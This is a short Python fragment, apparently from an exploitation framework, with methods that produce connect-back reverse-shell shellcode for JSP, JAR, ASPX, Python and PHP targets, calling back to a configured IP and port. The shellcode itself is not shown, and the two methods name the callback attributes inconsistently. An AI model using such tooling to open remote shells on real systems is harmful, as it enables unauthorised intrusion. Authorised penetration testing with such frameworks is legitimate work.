def create_shellcode(self, type, inline=False): """ Creates shellcode of given type :param type: (string) aspx, jar, jsp, python, php :param inline: (bool) If True all symbols \r, \n, \t will be removed from shellcode :return: (string) Generated shellcode """ if type == Constants.ShellcodeType.JSP: shell = JavaShellcodes(self.CONNECTBACK_IP, self.CONNECTBACK_PORT, type=Constants.ShellcodeType.JSP) elif type == Constants.ShellcodeType.JAR: shell = JavaShellcodes(self.CONNECTBACK_IP, self.CONNECTBACK_PORT, type=Constants.ShellcodeType.JAR) elif type == Constants.ShellcodeType.ASPX: shell = AspxShellcode(self.CONNECTBACK_IP, self.CONNECTBACK_PORT) elif type == Constants.ShellcodeType.PYTHON: shell = PythonShellcodes(self.CONNECTBACK_IP, self.CONNECTBACK_PORT) elif type == Constants.ShellcodeType.PHP: shell = PhpShellcodes(self.CONNECTBACK_IP, self.CONNECTBACK_PORT) else: print("There is no shellcode of type: {}".format(type)) return "" shellcode = shell.get_shellcode(inline) return shellcode
def create_payload(self): java = JavaShellcodes(self.connectback_ip, self.connectback_port) return java.get_shellcode()